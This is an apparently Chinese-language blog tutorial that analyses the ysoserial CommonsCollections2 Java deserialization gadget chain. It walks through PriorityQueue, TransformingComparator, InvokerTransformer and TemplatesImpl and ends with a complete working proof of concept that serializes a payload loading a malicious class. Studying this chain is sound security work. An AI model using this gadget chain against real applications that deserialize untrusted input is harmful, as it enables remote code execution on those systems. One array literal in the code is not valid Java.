Java安全 ysoserial CommonsCollections2示例分析

更新時(shí)間：2022年11月04日 14:20:05 作者：功夫小熊貓

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正文

在最后一步的實(shí)現(xiàn)上，cc2和cc3一樣，最終都是通過TemplatesImpl惡意字節(jié)碼文件動(dòng)態(tài)加載方式實(shí)現(xiàn)反序列化。

已知的TemplatesImpl->newTransformer()是最終要執(zhí)行的。

TemplatesImpl類動(dòng)態(tài)加載方式的實(shí)現(xiàn)分析見ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的調(diào)用通過InvokerTransformer.transform()反射機(jī)制實(shí)現(xiàn)，這里可以看ysoserial CommonsCollections1 分析中的前半部分內(nèi)容。

cc2 commons-collections4版本利用鏈

cc2是針對(duì)commons-collections4版本，利用鏈如下：

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

InvokerTransformer.transform()利用

所以在InvokerTransformer.transform()之后的利用如下：

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行，_tfactory得賦值，因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);
    }
}

InvokerTransformer.transform()的調(diào)用

TransformingComparator的compare，實(shí)現(xiàn)了對(duì)屬性this.transformer的transform調(diào)用，這里可以通過TransformingComparator構(gòu)造方法為該屬性賦值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;
    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }
    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通過compare的調(diào)用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

TransformingComparator.compare()的調(diào)用

PriorityQueue類中的readobject()調(diào)用了heapify()，heapify()中調(diào)用了siftDown()，siftDown()調(diào)用了siftDownUsingComparator()，siftDownUsingComparator()方法實(shí)現(xiàn)了comparator.compare()調(diào)用。

那么只要將transformingComparator對(duì)象賦值給comparator，可以通過反射，也可以通過構(gòu)造方法，這里通過構(gòu)造方法，且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的參數(shù)來自queue，所以需要將templates賦值給queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中會(huì)調(diào)用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中帶入的參數(shù)對(duì)象如果不存在newTransformer方法將報(bào)錯(cuò)，另外使用templates作為參數(shù)，又會(huì)導(dǎo)致在序列化過程構(gòu)造惡意對(duì)象的時(shí)候得到執(zhí)行。所以這里先用toString()方法代替，后通過反射方式修改this.iMethodName屬性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

queue屬性賦值

transient queue無(wú)法序列化，但在PriorityQueue的writeobject()、readobject中對(duì)queue做了重寫，實(shí)現(xiàn)序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i &lt; size; i++)
            s.writeObject(queue[i]);
    }

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i &lt; size; i++)
        queue[i] = s.readObject();
    heapify();
}

通過反射修改queues[0]，利用如下：

TransformingComparator transformingComparator = new TransformingComparator(transformer);
PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//這里得替換queues[0]
//如果queues[0]依舊保留使用Integer，會(huì)因?yàn)闊o(wú)法找到newTransformer報(bào)錯(cuò)。

最終完整利用實(shí)現(xiàn)

public class CC2Test2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");
        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);
        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = [code];
        //給_bytecodes賦值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);
        //要順利執(zhí)行，_tfactory得賦值，因?yàn)閐efineTransletClasses中調(diào)用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl類型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);
        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        PriorityQueue&lt;Object&gt; priorityQueue = new PriorityQueue&lt;Object&gt;(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");
        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();
    }
}